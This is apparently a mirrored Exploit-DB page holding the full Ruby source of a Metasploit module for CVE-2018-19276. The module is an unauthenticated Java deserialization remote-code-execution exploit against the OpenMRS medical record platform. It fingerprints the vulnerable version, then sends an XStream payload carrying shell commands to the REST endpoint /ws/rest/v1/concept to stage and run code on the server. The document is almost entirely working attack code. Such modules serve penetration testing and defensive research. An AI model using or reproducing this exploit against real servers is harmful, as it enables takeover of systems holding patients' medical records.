OpenMRS – Java Deserialization RCE (Metasploit)

  • 作者: Metasploit
    日期: 2019-12-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47792/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStager
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'OpenMRS Java Deserialization RCE',
    'Description'=> %q(
    OpenMRS is an open-source platform that supplies
    users with a customizable medical record system.
    
    There exists an object deserialization vulnerability
    in the `webservices.rest` module used in OpenMRS Platform.
    Unauthenticated remote code execution can be achieved
    by sending a malicious XML payload to a Rest API endpoint
    such as `/ws/rest/v1/concept`.
    
    This module uses an XML payload generated with Marshalsec
    that targets the ImageIO component of the XStream library.
    
    Tested on OpenMRS Platform `v2.1.2` and `v2.21` with Java
    8 and Java 9.
    ),
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Nicolas Serra', # Vuln Discovery and PoC
    'mpgn',# PoC
    'Shelby Pace'# Metasploit Module
    ],
    'References' =>
     [
     [ 'CVE', '2018-19276' ],
     [ 'URL', 'https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607' ],
     [ 'URL', 'https://know.bishopfox.com/advisories/news/2019/02/openmrs-insecure-object-deserialization' ],
     [ 'URL', 'https://github.com/mpgn/CVE-2018-19276/' ]
     ],
    'Platform' => [ 'unix', 'linux' ],
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'Targets'=>
     [
     [ 'Linux',
     {
     'Arch' =>[ ARCH_X86, ARCH_X64 ],
     'Platform' =>[ 'unix', 'linux' ],
     'CmdStagerFlavor'=> 'printf'
     }
     ]
     ],
    'DisclosureDate' => '2019-02-04',
    'DefaultTarget'=> 0
    ))
    
    register_options(
    [
    Opt::RPORT(8081),
    OptString.new('TARGETURI', [ true, 'Base URI for OpenMRS', '/' ])
    ])
    
    register_advanced_options([ OptBool.new('ForceExploit', [ false, 'Override check result', false ]) ])
    end
    
    def check
    res = send_request_cgi!('method' => 'GET', 'uri' => normalize_uri(target_uri.path))
    return CheckCode::Unknown("OpenMRS page unreachable.") unless res
    
    return CheckCode::Safe('Page discovered is not OpenMRS.') unless res.body.downcase.include?('openmrs')
    response = res.get_html_document
    version = response.at('body//h3')
    return CheckCode::Detected('Successfully identified OpenMRS, but cannot detect version') unless version && version.text
    
    version_no = version.text
    version_no = version_no.match(/\d+\.\d+\.\d*/)
    return CheckCode::Detected('Successfully identified OpenMRS, but cannot detect version') unless version_no
    
    version_no = Gem::Version.new(version_no)
    
    if (version_no < Gem::Version.new('1.11.8') || version_no.between?(Gem::Version.new('2'), Gem::Version.new('2.1.3')))
    return CheckCode::Appears("OpenMRS platform version: #{version_no}")
    end
    
    CheckCode::Safe
    end
    
    def format_payload
    payload_data = payload.encoded.to_s.encode(xml: :text)
    payload_arr = payload_data.split(' ', 3)
    payload_arr.map { |arg| "<string>#{arg}</string>" }.join.gsub("'", "")
    end
    
    def read_payload_data(payload_cmd)
    # payload generated with Marshalsec
    erb_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-19276', 'payload.erb')
    payload_data = File.binread(erb_path)
    payload_data = ERB.new(payload_data).result(binding)
    
    rescue Errno::ENOENT
    fail_with(Failure::NotFound, "Failed to find erb file at the given path: #{erb_path}")
    end
    
    def execute_command(cmd, opts={})
    cmd = cmd.encode(xml: :text)
    xml_data = "<string>sh</string><string>-c</string><string>#{cmd}</string>"
    rest_uri = normalize_uri(target_uri.path, 'ws', 'rest', 'v1', 'concept')
    payload_data = read_payload_data(xml_data)
    
    send_request_cgi(
    'method'=>'POST',
    'uri' =>rest_uri,
    'headers' =>{ 'Content-Type'=>'text/xml' },
    'data'=>payload_data
    )
    end
    
    def exploit
    chk_status = check
    print_status('Target is running OpenMRS') if chk_status == CheckCode::Appears
    unless ((chk_status == CheckCode::Appears || chk_status == CheckCode::Detected) || datastore['ForceExploit'] )
    fail_with(Failure::NoTarget, 'Target is not vulnerable')
    end
    
    cmds = generate_cmdstager(:concat_operator => '&&')
    print_status('Sending payload...')
    cmds.first.split('&&').map { |cmd| execute_command(cmd) }
    end
    end